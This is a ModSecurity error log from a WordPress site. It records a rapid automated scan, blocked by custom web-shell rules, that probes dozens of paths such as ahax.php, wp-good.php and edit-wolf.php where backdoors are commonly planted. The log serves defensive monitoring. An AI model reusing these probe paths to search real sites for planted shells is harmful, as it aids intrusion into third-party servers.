[Tue Mar 24 01:48:37.921078 2026] [:error] [pid 56435:tid 56523] [client 194.5.82.62:41635] [client 194.5.82.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ahax.php"] [unique_id "acF89crwr-l5A-s9ryCQKQAAARY"]
[Tue Mar 24 01:48:38.101288 2026] [:error] [pid 56238:tid 56362] [client 194.5.82.93:32233] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-terms/"] [unique_id "acF89lSqceFAZRgPDq6uqAAAAM4"]
[Tue Mar 24 01:48:38.283924 2026] [:error] [pid 56435:tid 56525] [client 194.5.82.80:42787] [client 194.5.82.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/"] [unique_id "acF89srwr-l5A-s9ryCQKwAAARg"]
[Tue Mar 24 01:48:38.465396 2026] [:error] [pid 31798:tid 31805] [client 194.5.82.103:38479] [client 194.5.82.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/imgareaselect/"] [unique_id "acF89ndtW_1bksndFbY5XQAAAAU"]
[Tue Mar 24 01:48:38.647424 2026] [:error] [pid 31798:tid 31819] [client 194.5.82.167:43627] [client 194.5.82.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/about.php"] [unique_id "acF89ndtW_1bksndFbY5YAAAABM"]
[Tue Mar 24 01:48:38.826880 2026] [:error] [pid 56435:tid 56501] [client 194.5.82.97:58151] [client 194.5.82.97] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "acF89srwr-l5A-s9ryCQLAAAAQI"]
[Tue Mar 24 01:48:39.010997 2026] [:error] [pid 31798:tid 31809] [client 194.5.82.103:21601] [client 194.5.82.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "acF893dtW_1bksndFbY5ZAAAAAk"]
[Tue Mar 24 01:48:39.191450 2026] [:error] [pid 56435:tid 56516] [client 194.5.82.54:35813] [client 194.5.82.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php"] [unique_id "acF898rwr-l5A-s9ryCQLQAAAQ8"]
[Tue Mar 24 01:48:39.372797 2026] [:error] [pid 56435:tid 56509] [client 194.5.82.63:59019] [client 194.5.82.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "acF898rwr-l5A-s9ryCQLgAAAQk"]
[Tue Mar 24 01:48:39.564249 2026] [:error] [pid 56435:tid 56522] [client 194.5.82.80:58661] [client 194.5.82.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/"] [unique_id "acF898rwr-l5A-s9ryCQLwAAARU"]
[Tue Mar 24 01:48:39.743935 2026] [:error] [pid 31798:tid 31803] [client 194.5.82.79:50045] [client 194.5.82.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/radio.php"] [unique_id "acF893dtW_1bksndFbY5ZwAAAAM"]
[Tue Mar 24 01:48:39.924568 2026] [:error] [pid 31798:tid 31804] [client 194.5.82.93:64769] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/user.php"] [unique_id "acF893dtW_1bksndFbY5aQAAAAQ"]
[Tue Mar 24 01:48:40.104758 2026] [:error] [pid 56435:tid 56503] [client 194.5.82.60:63945] [client 194.5.82.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "acF8-Mrwr-l5A-s9ryCQMwAAAQQ"]
[Tue Mar 24 01:48:40.284816 2026] [:error] [pid 56237:tid 56333] [client 194.5.82.91:63779] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/"] [unique_id "acF8-AymO0MnzQb90MMy7QAAAIw"]
[Tue Mar 24 01:48:40.465370 2026] [:error] [pid 56238:tid 56371] [client 194.5.82.77:25155] [client 194.5.82.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "acF8-FSqceFAZRgPDq6urAAAANc"]
[Tue Mar 24 01:48:40.648451 2026] [:error] [pid 31798:tid 31807] [client 194.5.82.62:26391] [client 194.5.82.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "acF8-HdtW_1bksndFbY5cgAAAAc"]
[Tue Mar 24 01:48:40.833794 2026] [:error] [pid 56237:tid 56329] [client 194.5.82.99:30603] [client 194.5.82.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/PHPMailer/s"] [unique_id "acF8-AymO0MnzQb90MMy7gAAAIg"]
[Tue Mar 24 01:48:41.013093 2026] [:error] [pid 56237:tid 56324] [client 194.5.82.101:41167] [client 194.5.82.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "acF8-QymO0MnzQb90MMy7wAAAIM"]
[Tue Mar 24 01:48:41.193496 2026] [:error] [pid 31798:tid 31803] [client 194.5.82.70:34125] [client 194.5.82.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/pullquote/"] [unique_id "acF8-XdtW_1bksndFbY5dQAAAAM"]
[Tue Mar 24 01:48:41.378851 2026] [:error] [pid 56237:tid 56321] [client 194.5.82.71:62867] [client 194.5.82.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyone/template-parts/"] [unique_id "acF8-QymO0MnzQb90MMy8wAAAIA"]
[Tue Mar 24 01:48:41.559481 2026] [:error] [pid 56237:tid 56344] [client 194.5.82.95:41141] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/widgets/"] [unique_id "acF8-QymO0MnzQb90MMy9QAAAJc"]
[Tue Mar 24 01:48:41.741585 2026] [:error] [pid 56238:tid 56349] [client 194.5.82.67:56717] [client 194.5.82.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/social-links/"] [unique_id "acF8-VSqceFAZRgPDq6urgAAAME"]
[Tue Mar 24 01:48:41.922888 2026] [:error] [pid 56237:tid 56337] [client 194.5.82.66:49827] [client 194.5.82.66] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ab.php"] [unique_id "acF8-QymO0MnzQb90MMy9wAAAJA"]
[Tue Mar 24 01:48:42.102473 2026] [:error] [pid 31798:tid 31820] [client 194.5.82.88:48807] [client 194.5.82.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/navigation-submenu/"] [unique_id "acF8-ndtW_1bksndFbY5fAAAABQ"]
[Tue Mar 24 01:48:42.284061 2026] [:error] [pid 31798:tid 31817] [client 194.5.82.167:50271] [client 194.5.82.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/paragraph/"] [unique_id "acF8-ndtW_1bksndFbY5fgAAABE"]
[Tue Mar 24 01:48:42.465393 2026] [:error] [pid 56238:tid 56353] [client 194.5.82.167:47195] [client 194.5.82.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "acF8-lSqceFAZRgPDq6usgAAAMU"]
[Tue Mar 24 01:48:42.658043 2026] [:error] [pid 56236:tid 56311] [client 194.5.82.99:28803] [client 194.5.82.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/video/"] [unique_id "acF8-napFgYp0uZ8twAsogAAAFI"]
[Tue Mar 24 01:48:42.842218 2026] [:error] [pid 56237:tid 56335] [client 194.5.82.168:28911] [client 194.5.82.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/packed.php"] [unique_id "acF8-gymO0MnzQb90MMy-QAAAI4"]
[Tue Mar 24 01:48:43.022533 2026] [:error] [pid 56238:tid 56359] [client 194.5.82.77:30417] [client 194.5.82.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acF8-1SqceFAZRgPDq6utAAAAMs"]
[Tue Mar 24 01:48:43.202034 2026] [:error] [pid 56236:tid 56310] [client 194.5.82.57:50097] [client 194.5.82.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/"] [unique_id "acF8-3apFgYp0uZ8twAspQAAAFE"]
[Tue Mar 24 01:48:43.384174 2026] [:error] [pid 56238:tid 56369] [client 194.5.82.61:65193] [client 194.5.82.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/"] [unique_id "acF8-1SqceFAZRgPDq6utgAAANU"]
[Tue Mar 24 01:48:43.565741 2026] [:error] [pid 56238:tid 56354] [client 194.5.82.64:21773] [client 194.5.82.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/"] [unique_id "acF8-1SqceFAZRgPDq6uuAAAAMY"]
[Tue Mar 24 01:48:43.750987 2026] [:error] [pid 56236:tid 56296] [client 194.5.82.167:32789] [client 194.5.82.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "acF8-3apFgYp0uZ8twAspwAAAEM"]
[Tue Mar 24 01:48:43.930987 2026] [:error] [pid 56238:tid 56371] [client 194.5.82.82:26817] [client 194.5.82.82] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/"] [unique_id "acF8-1SqceFAZRgPDq6uugAAANc"]
[Tue Mar 24 01:48:44.111709 2026] [:error] [pid 56237:tid 56332] [client 194.5.82.64:25391] [client 194.5.82.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/group/"] [unique_id "acF8_AymO0MnzQb90MMy_wAAAIs"]
[Tue Mar 24 01:48:44.291479 2026] [:error] [pid 31798:tid 31810] [client 194.5.82.95:20097] [client 194.5.82.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/k.php"] [unique_id "acF8_HdtW_1bksndFbY5gwAAAAo"]
[Tue Mar 24 01:48:44.483016 2026] [:error] [pid 31798:tid 31823] [client 194.5.82.93:52975] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfour/patterns/file.php"] [unique_id "acF8_HdtW_1bksndFbY5hQAAABc"]
[Tue Mar 24 01:48:44.679746 2026] [:error] [pid 31798:tid 31818] [client 194.5.82.91:36205] [client 194.5.82.91] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "acF8_HdtW_1bksndFbY5iAAAABI"]
[Tue Mar 24 01:48:44.861072 2026] [:error] [pid 56237:tid 56330] [client 194.5.82.62:59499] [client 194.5.82.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "acF8_AymO0MnzQb90MMzAAAAAIk"]
[Tue Mar 24 01:48:45.040711 2026] [:error] [pid 31798:tid 31820] [client 194.5.82.65:21091] [client 194.5.82.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/development/"] [unique_id "acF8_XdtW_1bksndFbY5iwAAABQ"]
[Tue Mar 24 01:48:45.221422 2026] [:error] [pid 31798:tid 31817] [client 194.5.82.74:46457] [client 194.5.82.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist"] [unique_id "acF8_XdtW_1bksndFbY5jAAAABE"]
[Tue Mar 24 01:48:45.401659 2026] [:error] [pid 56238:tid 56358] [client 194.5.82.92:37811] [client 194.5.82.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/components/"] [unique_id "acF8_VSqceFAZRgPDq6uvgAAAMo"]
[Tue Mar 24 01:48:45.582892 2026] [:error] [pid 56237:tid 56335] [client 194.5.82.59:58707] [client 194.5.82.59] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/a.php"] [unique_id "acF8_QymO0MnzQb90MMzAgAAAI4"]
[Tue Mar 24 01:48:45.762428 2026] [:error] [pid 56236:tid 56304] [client 194.5.82.59:35755] [client 194.5.82.59] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/function.php"] [unique_id "acF8_XapFgYp0uZ8twAsqgAAAEs"]
[Tue Mar 24 01:48:45.943976 2026] [:error] [pid 56435:tid 56507] [client 194.5.82.93:35271] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wordpress/wp-admin/maint/"] [unique_id "acF8_crwr-l5A-s9ryCQNwAAAQc"]
[Tue Mar 24 01:48:46.126800 2026] [:error] [pid 56237:tid 56342] [client 194.5.82.168:63505] [client 194.5.82.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "acF8_gymO0MnzQb90MMzAwAAAJU"]
[Tue Mar 24 01:48:46.308374 2026] [:error] [pid 31798:tid 31811] [client 194.5.82.68:31871] [client 194.5.82.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "acF8_ndtW_1bksndFbY5jQAAAAs"]
[Tue Mar 24 01:48:46.501737 2026] [:error] [pid 31798:tid 31802] [client 194.5.82.62:55909] [client 194.5.82.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/worksec.php"] [unique_id "acF8_ndtW_1bksndFbY5jgAAAAI"]
[Tue Mar 24 01:48:46.683890 2026] [:error] [pid 56238:tid 56363] [client 194.5.82.77:36829] [client 194.5.82.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/edit-wolf.php"] [unique_id "acF8_lSqceFAZRgPDq6uwAAAAM8"]
[Tue Mar 24 01:48:46.863863 2026] [:error] [pid 56238:tid 56362] [client 194.5.82.81:51893] [client 194.5.82.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "acF8_lSqceFAZRgPDq6uwQAAAM4"]
[Tue Mar 24 01:48:47.047033 2026] [:error] [pid 56237:tid 56338] [client 194.5.82.87:51311] [client 194.5.82.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-file.php"] [unique_id "acF8_wymO0MnzQb90MMzBQAAAJE"]
[Tue Mar 24 01:48:47.227167 2026] [:error] [pid 56435:tid 56522] [client 194.5.82.61:51719] [client 194.5.82.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/files.php"] [unique_id "acF8_8rwr-l5A-s9ryCQOwAAARU"]
[Tue Mar 24 01:48:47.406641 2026] [:error] [pid 56435:tid 56524] [client 194.5.82.71:63857] [client 194.5.82.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "acF8_8rwr-l5A-s9ryCQPAAAARc"]
[Tue Mar 24 01:48:47.588914 2026] [:error] [pid 56237:tid 56324] [client 194.5.82.62:60391] [client 194.5.82.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/wp-blog.php"] [unique_id "acF8_wymO0MnzQb90MMzCAAAAIM"]
[Tue Mar 24 01:48:47.771918 2026] [:error] [pid 31798:tid 31806] [client 194.5.82.93:49127] [client 194.5.82.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/block-patterns/"] [unique_id "acF8_3dtW_1bksndFbY5kwAAAAY"]
